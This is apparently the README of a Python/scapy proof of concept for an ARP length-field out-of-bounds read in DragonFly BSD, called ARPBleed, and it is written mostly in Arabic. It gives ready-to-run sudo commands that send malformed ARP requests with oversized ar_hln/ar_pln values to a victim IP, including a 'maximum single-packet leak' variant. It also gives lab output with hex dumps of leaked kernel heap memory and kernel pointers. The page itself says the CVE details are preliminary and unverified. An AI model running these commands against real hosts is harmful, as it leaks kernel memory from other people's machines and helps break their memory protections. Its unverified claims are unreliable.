
إثبات مفهوم بلغة Python/scapy للثغرة CVE-2026-110912 (ARPBleed)، وهي قراءة خارج الحدود في ARP ar_hln/ar_pln في DragonFly BSD تؤدي إلى تسريب ذاكرة كومة النواة والمكدس.
ARPBleed 🩸
ثغرة في معالجة حزم ARP | DragonFly BSD | بحث أمني
ARPBleed هو الاسم المرتبط بالثغرة المُبلَّغ عنها CVE-2026-110912، والتي تتعلق بالمعالجة غير الصحيحة لحقول طول حزم بروتوكول تحليل العناوين (ARP) في DragonFly BSD.
وفقًا للوصف الأولي للثغرة، قد تؤدي حزم ARP المشوّهة إلى قراءة خارج حدود الذاكرة، مما قد يكشف أجزاءً من ذاكرة النواة عبر استجابات الشبكة.
مهم: تفاصيل الثغرة المعروضة هنا أولية وتتطلب التحقق منها مقابل سجلات CVE الرسمية وإرشادات البائع الرسمية قبل اعتبارها مؤكدة.
| السمة | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-110912 |
| اسم الثغرة | ARPBleed |
| المنتج المُبلَّغ عنه | DragonFly BSD |
| نوع الثغرة | قراءة خارج الحدود |
| CWE ذات الصلة | CWE-130 — المعالجة غير الصحيحة لعدم اتساق معامل الطول |
| ناقل الهجوم المُبلَّغ عنه | شبكة مجاورة |
| المصادقة المطلوبة | لا يوجد حسب التقارير |
| التأثير المحتمل | كشف ذاكرة النواة |
| درجة CVSS المُبلَّغ عنها | 7.1 — غير مُتحقَّق منها |
| الإصدارات المتأثرة المُبلَّغ عنها | حتى 6.4.2 — غير مُتحقَّق منها |
| المعالجة | التحقق من تصحيح البائع الرسمي |
يُستخدم بروتوكول تحليل العناوين (ARP) في شبكات IPv4 لتحويل عناوين IP إلى عناوين عتادية، وعادةً عناوين MAC.
عندما يحتاج مضيف إلى التواصل مع جهاز آخر على الشبكة المحلية، قد يبثّ طلب ARP. ويمكن للجهاز الذي يحمل عنوان IP المقابل أن يرد برد ARP يحتوي على عنوانه العتادي.
CVE-2026-110912-ARPBleed.py - ملف واحد، يتطلب python3 + scapy وصلاحيات الجذر (raw socket).
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
أول 6 بايتات من منطقة ar_sha المسرّبة هي عنوان MAC الحقيقي للضحية وأول 4 بايتات من ar_spa هي عنوان IP الخاص بالضحية - كل ما بعد ذلك هو ذاكرة kernel خارج الحدود. رمز الخروج 0 عند التقاط تسريب، و2 عندما لا يصل أي رد (سلوك kernel مُصلَّح).
الضحية: DragonFly 6.4.2-RELEASE (تثبيت افتراضي، QEMU virtio-net)، 10.170.0.10. المهاجم: Kali، scapy 2.7.01، 10.170.0.2، نفس قطاع L2.
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=200 arp_body=420 frame=434
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 434 bytes (reply ar_hln=6 ar_pln=200)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|